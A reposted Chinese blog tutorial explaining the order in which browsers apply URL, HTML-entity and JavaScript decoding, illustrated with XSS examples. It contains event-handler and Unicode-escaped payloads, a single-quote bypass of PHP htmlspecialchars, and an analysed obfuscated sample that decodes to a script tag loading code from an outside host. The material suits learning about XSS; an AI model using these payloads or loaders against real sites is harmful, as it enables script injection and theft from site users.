瀏覽器的解碼與編碼


2020_04_17

作為一個瀏覽器,有三個引擎

1、URL解析引擎

2、HTML解析引擎

3、JS 解析引擎

首先來講URL解析引擎

這里拿PHP代碼做例子:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>

input=%26lt%5cu4e00%26gt

該值構造在URL里,瀏覽器直接發送給服務器,服務器接收之后,先進行一次URL解析,input 內容變成了&lt\u4e00&gt,所以對於瀏覽器從服務器端獲取的頁面數據來說,此時test對應的標簽變成了如下:

<a href="javascript:alert('&lt\u4e00&gt');">test</a>

這里需要說的是,URL編碼/解碼在http請求是肯定會發生的,該編碼只是為了在http請求中保證數據的傳輸不會丟失

接着就開始了HTML 解析

在HTML解析中,HTML解析器會根據HTML內容來構建DOM樹,需要知道在解析的過程中,HTML的解析器只能識別特定的詞法規則,才能構建起DOM 樹,這一塊,HTML不會做解碼的工作!

所以比如:<img src&#x3d;"http://www.example.com"> 中,HTML解析器在構造DOM樹的時候首先會匹配<img,然后繼續走匹配相應的>,在解析的過程中,HTML解析器只能識別特定的詞法規則,所以遇到src&#x3d它是無法識別的,所以這里只是一個單純的img標簽,不存在危險!

當HTML解析器構建DOM樹之后,節點內容就會被開始實體解碼,比如上方的&lt &gt,這兩個符號被識別為HTML編碼,那么就會被解析為<>

到這里的時候該標簽的結果為<a href="javascript:alert('<\u4e00>')">test</a>

這時候JS 解釋器 開始進行了

瀏覽器為了讓不同的解析器來工作處理不同的內容,實際上,在遇到比如<script>,<style> 這樣的標簽,解析器會自動切換到js解析模式,而src,href等屬性后邊加入的JavaScript偽URL,也會進入JS的解析模式。而進入該解析模式的時候,該DOM節點已經建立起來了,也就是HTML解析器已經最少解析到這個地方了

此時<a href="javascript:alert('<\u4e00>')">test</a>

javascript開啟JS 解釋器,JS會先對內容進行解析,里邊有一個轉義字符\u4e00,前導的 \u 表示他是一個Unicode 字符,根據后邊的數字,解析為'一',將會被解析為<a href="javascript:alert('<一>')">test</a>

然后JS 解釋器執行alert("<一>"),這句話會交給瀏覽器渲染,最終彈窗。

unicode編碼還可以在alert函數上使用,比如:<a href="javascript:\u0061lert('<一>')">test</a>

需要注意的是:上邊這種直接在字符串外進行專一的方式,只有 Unicode編碼方式支持,其他編碼方式不支持!

在一個頁面中,可以出發JS 解析器的方式有這么幾種

1、直接嵌入 代碼塊,比如<script>alert(1);</script>

2、通過< script src=xxx > 加載代碼,比如<script src="javascript:alert(1);"></script>,自己測試失敗,猜測舊版本的瀏覽器應該支持!

3、各種HTML CSS 參數支持JavaScript:URL 觸發調用,自己測試失敗!

4、CSS expression(…) 語法和某些瀏覽器的XBL綁定,比如<img style="xss:expression(alert(/xss/))" />,自己測試失敗!

5、事件處理器(Event handlers),比如 onload, onerror, onclick等,比如<img/src=x onerror=alert(1)>

6、定時器,Timer(setTimeout, setInterval),比如<img src=x onerror='setTimeout("ale"+"rt(1)",0)' />

7、eval(…) 調用,比如eval("<script>alert(1);</script>");

到這里的話,基本的解析順序就是 URL 解析器 -> HTML 解析器 -> JS解析器

繼續看下面的例子:

<p id="1">hello</p>
<script>document.getElementById("1").innerHTML = "<img src=# on\u0065rror=alert(1)>";</script>

這里的解析過程就不一樣的,過程為:

1、HTML解析器構造DOM樹p標簽

2、然后碰到<script>標簽了,於是HTML解析器就會停下來,讓js解析器開始,進行腳本的執行,遇到on\u0065rror先會進行解碼為onerror,那么它會執行script標簽中的內容,實現重構當前的HTML代碼,也就是在id為1的元素下的內容修改為<img src=# onerror=alert(1)>

3、現在的結果就為如下:

<p id="1"><img src="#" onerror="alert(1)"></p>

4、HTML解析器發現前面有變化,那么就會來到開頭,重新進行解析,繼續先構建DOM樹,發現onerror事件,則js解析器開始執行,先進行解碼操作,然后進行alert(1),HTML解析器繼續執行,執行最后結束

那么思考下<img src=# onrror=alert(1)>,如果在onerror的內容中進行HTML編碼結果是如何呢?

比如<script>document.getElementById("1").innerHTML = "<img src=# on\u0065rror=alert&#40;1)>";</script>

不同的地方就是,JS第一次執行了之后結果為如下:
<p id="1"><img src=# onerror=alert&#40;1)>";</script>

此時需要使用HTML解析重塑DOM樹,那么節點內容中的實體編碼就會被解碼,然后onerror中觸發腳本,JS又會內容進行一次解析,最終alert(1)

這里與上面不同的只是,HTML解析器重構DOM樹的時候,會先對節點的內容HTML解碼,然后繼續JS,其實就是會先比JS執行快一些吧!

不知道這樣理解對不對,如果有老哥看到這篇文章有問題的話 希望能提出來!

最后再去了解下大家說的xss有時候說被HTML實體編碼了是什么意思?

首先這里用的PHP代碼如下:

<?php echo htmlspecialchars($_GET['input']);?>

input=<script>

看下源代碼:&lt;script&gt;

解析過程:

1、HTML解析器嘗試去構建DOM樹,但是什么都匹配不了,所以無DOM樹,此時的結果還是&lt;script&gt;

2、發現有HTML實體編碼,嘗試去進行HTML解碼,解碼完之后的結果<script>,最后在頁面顯示

這里同樣在頁面上顯示相同的內容,但是htmlspecialchars的原因,防止了XSS的產生

再來看<input type="text" value="<?php echo htmlspecialchars($_GET['input']);?>" />,這段代碼是否能夠進行繞過?

自己來看是無解的,因為被實體編碼了

如果開發者用單引號包裹的話,那么是可以進行繞過的,因為htmlspecialchars默認不轉義單引號,quotestyle選項為ENT_QUOTES才會過濾單引號

<input type='text' value='<?php echo htmlspecialchars($_GET['input'])?>'>

此時payload:' autofocus=autofocus onfocus=alert(1)//可以進行繞過

2020-11-02補充

分析一段xss:

<script>
\u0065\u0076\u0061\u006c(`\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,109,115,46,108,97,47,120,46,112,104,112,63,99,61,83,70,77,66,73,34,62,60,47,115,99,114,105,112,116,62))`)
</script>

正常的話html解析器會先進行解析 並且構建對應的DOM樹:

1、HTML解析器解析<script>標簽

2、<script>是腳本標簽,於是HTML解析器就會停下來(在停下來的時候已經提前對這個標簽進行HTML解碼了),接着讓js解析器開始解碼,解碼的結果:

<script>
eval(`document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,109,115,46,108,97,47,120,46,112,104,112,63,99,61,83,70,77,66,73,34,62,60,47,115,99,114,105,112,116,62))`)
</script>

3、解碼完了,js就會對這段代碼進行,document.write當前html源代碼中的內容,會在該標簽后面添加上,如下顯示

4、這時候源代碼被重新渲染了,那么HTML解析器又需要重新從頭開始進行解析,HTML解析到第一個<script>,因為DOM樹中已經構建了,所以跳過直到第二個,老樣子解析到第二個<script>發現是腳本標簽,所以js進行解碼然后解析執行腳本,最終發送一個請求:

參考文章:http://taligarsiel.com/Projects/howbrowserswork1.htm
參考文章:http://xuelinf.github.io/2016/05/18/編碼與解碼-瀏覽器做了什么/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM